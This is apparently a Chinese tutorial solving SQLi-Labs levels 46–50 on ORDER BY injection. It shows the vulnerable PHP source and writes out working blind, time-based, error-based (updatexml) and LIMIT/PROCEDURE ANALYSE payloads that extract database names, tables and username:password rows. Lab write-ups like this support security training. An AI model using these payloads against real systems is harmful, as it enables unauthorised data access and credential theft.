君衍.
- 一、四十六关 ORDER BY数字型注入
- 1、源码分析
- 2、rand()盲注
- 3、if语句盲注
- 4、时间盲注
- 5、报错注入
- 6、Limit注入
- 二、四十七关 ORDER BY单引号报错注入
- 1、源码分析
- 2、报错注入
- 3、时间盲注
- 三、四十八关 ODRER BY数字型盲注
- 1、源码分析
- 2、rand()盲注
- 3、if语句盲注
- 4、时间盲注
- 四、四十九关 ORDER BY单引号盲注
- 1、源码分析
- 2、时间盲注
- 五、五十关 ORDER BY数字型堆叠注入
- 1、源码分析
- 2、时间盲注
- 3、报错注入
点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程
SQL-Labs靶场“15-20”关通关教程
SQL-Labs靶场“21-25”关通关教程
一、四十六关 ORDER BY数字型注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | ORDER BY $id |
我们直接可以从界面中得知传参的参数为SORT,下面我们令参数即sort为1继续尝试输入:
?sort=1
我们可以看到是一个排序表格,同时我们继续尝试将sort参数变为2继续尝试:
可以看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式。
我们这里继续尝试,将参数变为1'
,我们可以看到它进行了报错:
可以看到它直接将报错信息输出了出来,所以我们之后可以进行尝试报错注入。
同时我们之前说了使用了order by,所以这里使用union注入当然是不行的,我们不必进行考虑。我们之后可以跟经常使用order by的正反排序,即为desc以及asc,当然,不加这个默认为从小到大,即为asc。
所以如果这里进行注入点判断时,我们使用order by为一个数值是没有意义的,这里我们需要使用rand函数,下面我们会谈到。
1、源码分析
<?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];
if(isset($id)){//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'SORT:'.$id."\n");fclose($fp);$sql = "SELECT * FROM users ORDER BY $id";$result = mysqli_query($con1, $sql);if ($result){?>···<?phpwhile ($row = mysqli_fetch_assoc($result)){echo "<td>".$row['id']."</td>";echo "<td>".$row['username']."</td>";echo "<td>".$row['password']."</td>";} echo "</table>";}else{print_r(mysqli_error($con1));}} else{echo "Please input parameter as SORT with numeric value<br><br><br><br>";echo '<img src="../images/Less-46.jpg" /><br>';echo "Lesson Concept and code Idea by <b>D4rk</b>";}
?>
首先进行解读代码,这里我只解读大致部分,首先进行使用GET方式来获取sort参数,然后直接将获取到的参数放入构建的SQL查询语句当中,接着进行判断是否查询成功,如果查询成功,那么输出查询信息,如果没有查询到内容,那么输出报错信息,也是我们的一个注入点。
2、rand()盲注
rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。
当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):
?sort=rand(true)
?sort=rand(false)
可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:
?sort=rand(ascii(mid((select database()),1,1))>96)
我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:
?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)
这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。
3、if语句盲注
这种方式进行盲注仅在order=$id
,数字型注入时才能生效。因为如果变为了'$id'
则会导致if语句变为字符串从而失效:
我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。
所以这里我们需要在知道列名的情况下进行使用:
?sort=if(表达式,id,username)
- 表达式为true时,根据id进行排序
- 表达式为false时,根据username来进行排序
当然如果我们在不知道列名的情况下其实也可以使用的:
这里我们主要利用id:
这里我们使用payload为:
?sort=if(表达式,1,(select id from information_schema.tables))
- 如果表达式为true时,则会返回正常页面
- 如果表达式为false,sql语句会报错
ERROR 1242 (21000): Subquery returns more than 1 row
会使查询内容为空。
4、时间盲注
这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。
order by if(表达式,1,sleep(1))
- 表达式为true时,正常时间显示
- 表达式为false时,会延迟一段时间显示
需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。
5、报错注入
之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。
1、爆出数据库名
?sort=updatexml(1,concat(0x7e,database(),0x7e),1)
2、爆出数据库中的所有表
?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)
3、爆出数据库users表中的所有列
?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)
4、爆出数据
?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)
这里也不赘述了,改变limit值即可完成数据的查询。
6、Limit注入
首先需要强调该limit注入只适用于<=MySQL5.5版本中,首先介绍limit使用在mysql中,一般使用limit m,n其中m指的是以m为头开始记录,n即为从m+1开始,取n条数据。
select * from users limit 0,1;
select * from users limit 2,4;
这里我们必须掌握清楚最基础的使用方式。
下面便是limit注入即为注入点在limit后面。
procedure analyse()报错注入
此方法适用于<=MySQL 5.5中,在limit语句后面的注入
在mysql语法中limit后面只能跟PROCEDURE、INTO OUTFILE、FOR UPDATE | LOCK IN SHARE MODE三个函数。
现今的5.7版本后limit 关键字后面就不能和union联合查询一起使用了,但是还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,这里就只演示使用procedure analyse()
函数来实现错误注入,这个函数下有ANALYSE支持两个参数。
报错注入方式:
select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));
时间盲注方式:
select * from users order by id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
二、四十七关 ORDER BY单引号报错注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | ORDER BY ‘$id’ |
本关其实和46关利用方式一样的,只是闭合方式改变了,注入时需要正常闭合:
这里我们加上单引号完成闭合,然后注释掉后面的语句完成逃逸即可。所以本关注入点判断其实和46关是一样的,唯独不能使用if语句来进行盲注,上面46关我们也说了原因同时尝试过。
1、源码分析
# 与46关相比就该SQL语句不相同即为闭合方式不同,采用了单引号闭合
$sql = "SELECT * FROM users ORDER BY '$id'";
···
所以本关源码没有什么好说的,原理和46关源码分析是相同的,就闭合方式进行了改变导致我们无法使用if语句注入,所以我们更改注入方案即可。
2、报错注入
之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。
1、爆出数据库名
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
2、爆出数据库中的所有表
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+
3、爆出数据库users表中的所有列
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
4、爆出数据
?sort=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
这里也不赘述了,改变limit值即可完成数据的查询。
3、时间盲注
这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。
order by if(表达式,1,sleep(1))
- 表达式为true时,正常时间显示
- 表达式为false时,会延迟一段时间显示
需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
这里我们可以看到为13.10sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:
?sort=1' and if((ascii(mid((select database()),1,1))>1),sleep(1),1)--+
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。
三、四十八关 ODRER BY数字型盲注
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | ORDER BY $id |
本关依旧同46关利用方式一样,只是没有报错回显:
所以本关实则就是无法使用报错注入,剩下的都可以使用,因为并没有什么闭合方式:
1、源码分析
这里源码实则就是把46关显示报错信息的代码省略掉了,原理依旧同46关相同:
上图为46关代码,下面展示48关代码:
所以这里即是将报错注入不让使用了,下面我们更改注入方案:
2、rand()盲注
rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。
当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):
?sort=rand(true)
?sort=rand(false)
可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:
?sort=rand(ascii(mid((select database()),1,1))>96)
我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:
?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)
这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。
3、if语句盲注
这种方式进行盲注仅在order=$id
,数字型注入时才能生效。因为如果变为了'$id'
则会导致if语句变为字符串从而失效:
我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。
所以这里我们需要在知道列名的情况下进行使用:
?sort=if(表达式,id,username)
- 表达式为true时,根据id进行排序
- 表达式为false时,根据username来进行排序
当然如果我们在不知道列名的情况下其实也可以使用的:
这里我们主要利用id:
这里我们使用payload为:
?sort=if(表达式,1,(select id from information_schema.tables))
- 如果表达式为true时,则会返回正常页面
- 如果表达式为false,sql语句会报错
ERROR 1242 (21000): Subquery returns more than 1 row
会使查询内容为空。
4、时间盲注
这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。
order by if(表达式,1,sleep(1))
- 表达式为true时,正常时间显示
- 表达式为false时,会延迟一段时间显示
需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。
四、四十九关 ORDER BY单引号盲注
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | ORDER BY ‘$id’ |
四十九关即和47关类似,只是将报错回显省略掉了,同时增加了闭合。
1、源码分析
本关源码和47关大差不差,就是将47关报错回显省略掉了:
上图为49关代码,下图为47关代码:
2、时间盲注
这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。
order by if(表达式,1,sleep(1))
- 表达式为true时,正常时间显示
- 表达式为false时,会延迟一段时间显示
需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
这里我们可以看到为13.10sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:
?sort=1' and if((ascii(mid((select database()),1,1))>1),sleep(1),1)--+
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。
五、五十关 ORDER BY数字型堆叠注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注、堆叠注入 | ORDER BY $id |
本关依旧同46关注入点判断类似:
打开界面显示如上图,首先我们令sort参数为1查看回显:
然后我们在后面加上单引号,观察是否报错:
我们可以看到这里进行了报错,所以本关我们可以尝试使用报错注入。
1、源码分析
···# 与46关相同
if (mysqli_multi_query($con1, $sql))
···# 与46关相同
和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入。当然我们也可以使用报错注入。
(堆叠注入我们之后会详细讨论到)
2、时间盲注
这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。
order by if(表达式,1,sleep(1))
- 表达式为true时,正常时间显示
- 表达式为false时,会延迟一段时间显示
需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。
3、报错注入
之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。
1、爆出数据库名
?sort=updatexml(1,concat(0x7e,database(),0x7e),1)
2、爆出数据库中的所有表
?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)
3、爆出数据库users表中的所有列
?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)
4、爆出数据
?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)
这里也不赘述了,改变limit值即可完成数据的查询。